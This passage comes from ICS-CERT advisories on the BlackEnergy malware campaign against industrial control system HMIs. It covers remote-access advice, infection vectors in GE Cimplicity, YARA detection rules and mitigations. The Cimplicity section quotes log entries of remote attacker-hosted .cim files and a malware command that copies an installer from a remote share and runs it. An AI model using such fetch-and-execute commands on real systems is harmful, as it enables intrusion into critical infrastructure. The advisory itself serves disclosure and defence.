Organizations should also limit Remote Access functionality wherever possible. Modems are especially insecure. Users should implement “monitoring only” access that is enforced by data diodes, and do not rely on “read only” access enforced by software configurations or permissions. Remote persistent vendor connections should not be allowed into the control network. Remote access should be operator controlled, time limited, and procedurally similar to “lock out, tag out.” The same remote access paths for vendor and employee connections can be used; however, double standards should not be allowed. Strong multi-factor authentication should be used if possible, avoiding schemes where both tokens are similar types and can be easily stolen (e.g., password and soft certificate).[a]

As in common networking environments, control system domains can be subject to a myriad of vulnerabilities that can provide malicious actors with a “backdoor” to gain unauthorized access. Often, backdoors are simple shortcomings in the architecture perimeter, or embedded capabilities that are forgotten, unnoticed, or simply disregarded. Malicious actors often do not require physical access to a domain to gain access to it and will usually leverage any discovered access functionality. Modern networks, especially those in the control systems arena, often have inherent capabilities that are deployed without sufficient security analysis and can provide access to malicious actors once they are discovered. These backdoors can be accidentally created in various places on the network, but it is the network perimeter that is of greatest concern.

When looking at network perimeter components, the modern IT architecture will have technologies to provide for robust remote access. These technologies often include firewalls, public facing services, and wireless access. Each technology will allow enhanced communications in and amongst affiliated networks and will often be a subsystem of a much larger and more complex information infrastructure. However, each of these components can (and often do) have associated security vulnerabilities that an adversary will try to detect and leverage. Interconnected networks are particularly attractive to a malicious actor, because a single point of compromise may provide extended access because of pre-existing trust established among interconnected resources.[b]

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.

ICS-CERT also provides a recommended practices section for control systems on the ICS-CERT web site (http://ics-cert.us-cert.gov). Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies and Seven Steps to Effectively Defend Industrial Control Systems.

Organizations that observe any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

For more information on securely working with dangerous malware, please see US-CERT Security Tip ST13-003 Handling Destructive Malware at https://www.us-cert.gov/ncas/tips/ST13-003.

DETECTION

While the role of BlackEnergy in this incident is still being evaluated, the malware was reported to be present on several systems. Detection of the BlackEnergy malware should be conducted using the latest published YARA signature. This can be found at: https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-281-01E. Additional information about using YARA signatures can be found in the May/June 2015 ICS-CERT Monitor available at: https://ics-cert.us-cert.gov/monitors/ICS-MM201506.

Additional information on this incident including technical indicators can be found in the TLP GREEN alert (IR-ALERT-H-16-043-01P and subsequent updates) that was released to the US-CERT secure portal. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov(link sends e-mail).

- a.NCCIC/ICS-CERT, Seven Steps to Effectively Defend Industrial Control Systems, https://ics-cert.us-cert.gov/Seven-Steps-Effectively-Defend-Industrial-C..., web site last accessed February 25, 2016.
- b.NCCIC/ICS-CERT, Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies, https://ics-cert.us-cert.gov/sites/default/files/recommended_practices/D... , web site last accessed February 25, 2016.

Contact Information

For any questions related to this report, please contact ICS-CERT at:

Email: ics-cert@hq.dhs.gov(link sends e-mail)
Toll Free: 1-877-776-7585
International Callers: (208) 526-0900
For industrial control systems security information and incident reporting: http://ics-cert.us-cert.gov

ICS-CERT continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.

Appendix 2

Alert (ICS-ALERT-14-281-01E)

Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)

Original release date: December 10, 2014 | Last revised: March 02, 2016

Legal Notice

All information products included in http://ics-cert.us-cert.gov are provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic Light Protocol (TLP) marking in the header. For more information about TLP, see http://www.us-cert.gov/tlp/.

SUMMARY

This alert update is a follow-up to the updated NCCIC/ICS-CERT Alert titled ICS-ALERT-14-281-01D Ongoing Sophisticated Malware Campaign Compromising ICS that was published February 2, 2016, on the ICS-CERT web site.

ICS-CERT has identified a sophisticated malware campaign that has compromised numerous industrial control systems (ICSs) environments using a variant of the BlackEnergy malware. Analysis indicates that this campaign has been ongoing since at least 2011. Multiple companies working with ICS-CERT have identified the malware on Internet-connected human-machine interfaces (HMIs).

Recent open-source reports have circulated alleging that a December 23, 2015, power outage in Ukraine was caused by BlackEnergy Malware. ICS-CERT and US-CERT are working with the Ukrainian CERT and our international partners to analyze the malware and can confirm that a BlackEnergy 3 variant was present in the system. Based on the technical artifacts ICS-CERT and US-CERT have been provided, we cannot confirm a causal link between the power outage with the presence of the malware. However, we continue to support CERT-UA on this issue. The YARA signature included with the original posting of this alert has been shown to identify a majority of the samples seen as of this update and continues to be the best method for detecting BlackEnergy infections.

While there are many open source reports of BE3, this is the first opportunity ICS-CERT has been able to provide results of malware analysis. In a departure from the ICS product vulnerabilities used to deliver the BE2 malware, in this case the infection vector appears to have been spear phishing via a malicious Microsoft Office (MS Word) attachment. ICS-CERT and US-CERT analysis and support are ongoing, and additional technical analysis will be made available on the US-CERT Secure Portal.

ICS-CERT originally published information and technical indicators about this campaign in a TLP Amber alert (ICS-ALERT-14-281-01P) that was released to the US-CERT secure portala on October 8, 2014, and updated on December 10, 2014. US critical infrastructure asset owners and operators can request access to this information by emailing ics-cert@hq.dhs.gov(link sends e-mail).

DETAILS

ICS-CERT has determined that users of HMI products from various vendors have been targeted in this campaign, including GE Cimplicity, Advantech/Broadwin WebAccess, and Siemens WinCC. It is currently unknown whether other vendor's products have also been targeted. ICS-CERT is working with the involved vendors to evaluate this activity and also notify their users of the linkages to this campaign.

At this time, ICS-CERT has not identified any attempts to damage, modify, or otherwise disrupt the victim systems' control processes. ICS-CERT has not been able to verify if the intruders expanded access beyond the compromised HMI into the remainder of the underlying control system. However, typical malware deployments have included modules that search out any network-connected file shares and removable media for additional lateral movement within the affected environment. The malware is highly modular and not all functionality is deployed to all victims.

In addition, public reports[b] [c] reference a BlackEnergy-based campaign against a variety of overseas targets leveraging vulnerability CVE-2014-4114[d] (affecting Microsoft Windows and Windows Server 2008 and 2012). ICS-CERT has not observed the use of this vulnerability to target control system environments. However, analysis of the technical findings in the two report shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor.

ICS-CERT strongly encourages asset owners and operators to look for signs of compromise within their control systems environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

CIMPLICITY

ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet. Analysis of victim system artifacts has determined that the actors have been exploiting a vulnerability in GE's Cimplicity HMI product since at least January 2012. The vulnerability, CVE-2014-0751, was published in ICS-CERT advisory ICSA-14-023-01 on January 23, 2014. Guidance for remediation was published to the GE IP portal in December 2013.[e] GE has also released a statement about this campaign on the GE security web site.[f]

Using this vulnerability, attackers were able to have the HMI server execute a malicious .cim file [Cimplicity screen file] hosted on an attacker-controlled server.

Date	Request Type	Requestor IP	Screen Served
1/17/2012 7:16	Start	<attackerIP>	//212.124.110.146/testshare/payload.cim
9/9/2013 1:49	Start	<attackerIP>	//46.165.250.32/incoming/devlist.cim
9/10/2014 3:59	Start	<attackerIP>	\\94.185.85.122\public\config.bak

Figure 1. Log entries showing execution of remote .cim file.

ICS-CERT has analyzed two different .cim files used in this campaign: devlist.cim and config.bak. Both files use scripts to ultimately install the BlackEnergy malware.

- devlist.cim: This file uses an embedded script that is executed as soon as the file is opened using the Screen Open event. The obfuscated script downloads the file “newsfeed.xml” from the same remote server, which it saves in the Cimplicity directory using the name <41 character string>.wsf. The name is randomly generated using upper and lower case letters, numbers, and hyphens. The .wsf script is then executed using the Windows command-based script host (cscript.exe). The new script downloads the file “category.xml,” which it saves in the Cimplicity directory using the name “CimWrapPNPS.exe.” CimWrapPNPS.exe is a BlackEnergy installer that deletes itself once the malware is installed.
- config.bak: This file uses a script that is executed when the file is opened using the OnOpenExecCommand event. The script downloads a BlackEnergy installer from a remote server, names it “CimCMSafegs.exe,” copies it into the Cimplicity directory, and then executes it. The CimCMSafegs.exe file is a BlackEnergy installer that deletes itself after the malware is installed.

```
cmd.exe /c “copy \\94[dot]185[dot]85[dot]122\public\default.txt
“%CIMPATH%\CimCMSafegs.exe” && start “WOW64” “%CIMPATH”\CimCMSafegs.exe”
```

Figure 2. Script executed by malicious config.bak file.

Analysis suggests that the actors likely used automated tools to discover and compromise vulnerable systems. ICS-CERT is concerned that any companies that have been running Cimplicity since 2012 with their HMI directly connected to the Internet could be infected with BlackEnergy malware. ICS-CERT strongly recommends that companies use the indicators and Yara signature in this alert to check their systems. In addition, we recommend that all Cimplicity users review ICS-CERT advisory ICSA-14-023-01 and apply the recommended mitigations.

WINCC

While ICS-CERT lacks definitive information on how WinCC systems are being compromised by BlackEnergy, there are indications that one of the vulnerabilities fixed with the latest update for SIMATIC WinCC may have been exploited by the BlackEnergy malware.g ICS-CERT strongly encourages users of WinCC, TIA Portal, and PCS7 to update their software to the most recent version as soon as possible. Please see Siemens Security Advisory SSA-134508(link is external) and and ICS-CERT advisory ICSA-14-329-02D for additional details.

ADVANTECH/BROADWIN WEBACCESS

A number of the victims associated with this campaign were running the Advantech/BroadWin WebAccess software with a direct Internet connection. We have not yet identified the initial infection vector for victims running this platform but believe it is being targeted.

DETECTION

YARA SIGNATURE

ICS-CERT has published instruction for how to use the YARA signature for typical information technology environments. ICS-CERT recommends a phased approach to utilize this YARA signature in an industrial control systems (ICSs) environment. Test the use of the signature in the test/quality assurance/development ICS environment if one exists. If not, deploy the signature against backup or alternate systems in the top end of the ICS environment; this signature will not be usable on the majority of field devices.

--------- Begin Update E Part 1 of 1 --------

ICS-CERT has produced a YARA signature to aid in identifying if the malware files are present on a given system. This signature is provided “as is” and has not been fully tested for all variations or environments. Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation. The YARA signature is available at:

https://ics-cert.us-cert.gov/sites/default/files/file_attach/ICS-ALERT-14-281-01E.yara
YARA is a pattern-matching tool used to by computer security researchers and companies to help identify malware. You can find usage help and download links on the main YARA page at http://plusvic.github.io/yara/(link is external). For use on a Windows machine, you can download the precompiled binaries at:
https://github.com/plusvic/yara/releases(link is external)

Look for “Windows binaries can be found here.” For security purposes, please validate the downloaded YARA binaries by comparing the hash of your downloaded binary with the hashes below:

YARA version 3.4.0 32-bit

yara32.exe:

MD5 - 569ba3971c5f2d5d4a25f2528ee3afb6

SHA256 - e9bfb0389c9c1638dfe683acb5a2fe6c407cb650b48efdc9c17f5deaffe5b360

yarac32.exe:

MD5 - 0d9287bd49a1e1887dcfe26330663c25

SHA256 - 9f107dda72f95ad721cf12ab9c5621d8e57160cce7baf3f42cb751f98dfaf3ce

YARA version 3.4.0 64-bit

yara64.exe:

MD5 - 5a10f9e4f959d4dc47c96548804ff3c4

SHA256 - 427b46907aba3f1ce7dd8529605c1f94a65c8b90020f5cd1d76a5fbc7fc39993

yarac64.exe:

MD5 - 1f248ec809cc9ed89646e89a7b97a806

SHA256 - 92d04ea1b02320737bd9e2f40ab6cbf0f9646bf8ed63a5262ed989cd43a852fb

Once downloaded, extract the zip archive to the computer where you need to run the signatures and copy the ICS-CERT YARA rule into the same folder. For a comprehensive search (which will take a number of hours, depending on the system), use the following command:

```
yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:  >> yara_results.txt
```

For a quicker search, use the following:

(for Windows Vista and later)

```
yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Windows >> yara_results.txt
yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Users >> yara_results.txt
```

(for Windows XP or earlier)

```
yara32.exe -r -s ICS-ALERT-14-281-01E.yara C:\Windows >> yara_results.txt
yara32.exe -r -s ICS-ALERT-14-281-01E.yara "C:\Documents and Settings" >>
yara_results.txt
```

These commands will create a text file named “Yara_results.txt” in the same folder as the rule and YARA executable. If the search returns hits, you can send this file to ICS-CERT, and ICS-CERT will verify if your system is compromised by BlackEnergy.

This updated YARA signature reflects current ICS-CERT efforts into the new BlackEnergy Malware. Please use caution before implementing this signature in sensitive network environments. The signature may not detect all versions of BlackEnergy found in the “wild”. If there are any questions or concerns, please contact ICS-CERT for assistance.

```
// detect common properties of the BE2 and BE3 loader
rule BlackEnergy
{
  strings:
    $hc1 = {68 97 04 81 1D 6A 01}
    $hc2 = {68 A8 06 B0 3B 6A 02}
    $hc3 = {68 14 06 F5 33 6A 01}
    $hc4 = {68 AF 02 91 AB 6A 01}
    $hc5 = {68 8A 86 39 56 6A 02}
    $hc6 = {68 19 2B 90 95 6A 01}
    $hc7 = {(68 | B?) 11 05 90 23}
    $hc8 = {(68 | B?) EB 05 4A 2F}
    $hc9 = {(68 | B?) B7 05 57 2A}
  condition:
    2 of ($hc*)
}

// detect BE3 variants that are not caught by the general BlackEnergy rule
```

```
rule BlackEnergy3
{
    strings:
        $a1 = "MCSF_Config" ascii
        $a2 = "NTUSER.LOG" ascii
        $a3 = "ldplg" ascii
        $a4 = "unlplg" ascii
        $a5 = "getp" ascii
        $a6 = "getpd" ascii
        $a7 = "CSTR" ascii
        $a8 = "FONTCACHE.DAT" ascii
    condition:
        4 of them
}

// detect both packed and unpacked variants of the BE2 driver
rule BlackEnergy2_Driver
{
    strings:
        $a1 = {7E 4B 54 1A}
        $a2 = {E0 3C 96 A2}
        $a3 = "IofCompleteRequest" ascii
        $b1 = {31 A1 44 BC}
        $b2 = "IoAttachDeviceToDeviceStack" ascii
        $b3 = "KeInsertQueueDpc" ascii
        $c1 = {A3 41 FD 66}
        $c2 = {61 1E 4E F8}
        $c3 = "PsCreateSystemThread" ascii
    condition:
        all of ($a*) and 3 of ($b*, $c*)
}

// detect BE2 variants, typically plugins or loaders containing plugins
rule BlackEnergy2
{
   strings:
      $ex1 = "DispatchCommand" ascii
      $ex2 = "DispatchEvent" ascii
      $a1 = {68 A1 B0 5C 72}
      $a2 = {68 6B 43 59 4E}
      $a3 = {68 E6 4B 59 4E}
   condition:
      all of ($ex*) and 3 of ($a*)
}
```

--------- End Update E Part 1 of 1 --------

MITIGATIONS

ICS-CERT has published a TLP Amber version of this alert containing additional information about the malware, plug-ins, and indicators to the secure portal. ICS-CERT strongly encourages asset owners and operators to use these indicators to look for signs of compromise within their control systems environments. Asset owners and operators can request access to this information by emailing ics-cert@dhs.gov(link sends e-mail).

Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.

ICS-CERT strongly encourages taking immediate defensive action to secure ICS systems using defense-in-depth principles.CSSP Recommended Practices, https://ics-cert.us-cert.gov/Recommended-Practices, web site last accessed October 28, 2014. Asset owners should not assume that their control systems are deployed securely or that they are not operating with an Internet accessible configuration. Instead, asset owners should thoroughly audit their networks for Internet facing devices, weak authentication methods, and component vulnerabilities. Control systems often have Internet accessible devices installed without the owner’s knowledge, putting those systems at increased risk of attack.

ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation due to this unsecure device configuration of these vulnerabilities. Specifically, users should:

- Minimize network exposure for all control system devices. Control system devices should not directly face the Internet.
- Locate control system networks and devices behind firewalls, and isolate them from the business network.
- If remote access is required, employ secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices.
- Remove, disable, or rename any default system accounts wherever possible.
- Apply patches in the ICS environment, when possible to mitigate known vulnerabilities.
- Implement policies requiring the use of strong passwords.
- Monitor the creation of administrator level accounts by third-party vendors.

ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.

ICS-CERT also provides a recommended practices section for control systems on the ICS-CERT web site (http://ics-cert.us-cert.gov). Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

Organizations that observe any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.

- a.ICS-CERT encourages US asset owners and operators to join the control systems compartment of the US-CERT secure portal. To request access to the secure portal send your name, email address, and company affiliation to ics-cert@hq.dhs.gov(link sends e-mail).
- b.Sandworm to Blacken: The SCADA Connection, http://blog.trendmicro.com/trendlabs-security-intelligence/sandworm-to-b...(link is external) web site last accessed October 28, 2014.
- c.Sandworm Team – Targeting SCADA Systems, http://www.isightpartners.com/tag/sandworm-team/(link is external) web site last accessed October 28, 2014.
- d.NVD, http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4114, web site last accessed October 28, 2014.
- e.GE Intelligent Platforms, http://support.ge-ip.com/support/index?page=kbchannel(link is external). web site last accessed October 28, 2014.
- f.GE, http://www.ge.com/security(link is external) web site last accessed October 28, 2014.
- g.See “Nov 21, 2014 (second publication) Siemens Industrial Security Website: Update on ICS-CERT Alert on malware targeting SIMATIC WinCC” (http://www.industry.siemens.com/topics/global/en/industrial-security/new...(link is external))

Contact Information

For any questions related to this report, please contact ICS-CERT at:

Email: ics-cert@hq.dhs.gov(link sends e-mail)
Toll Free: 1-877-776-7585
International Callers: (208) 526-0900
For industrial control systems security information and incident reporting: http://ics-cert.us-cert.gov

ICS-CERT continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.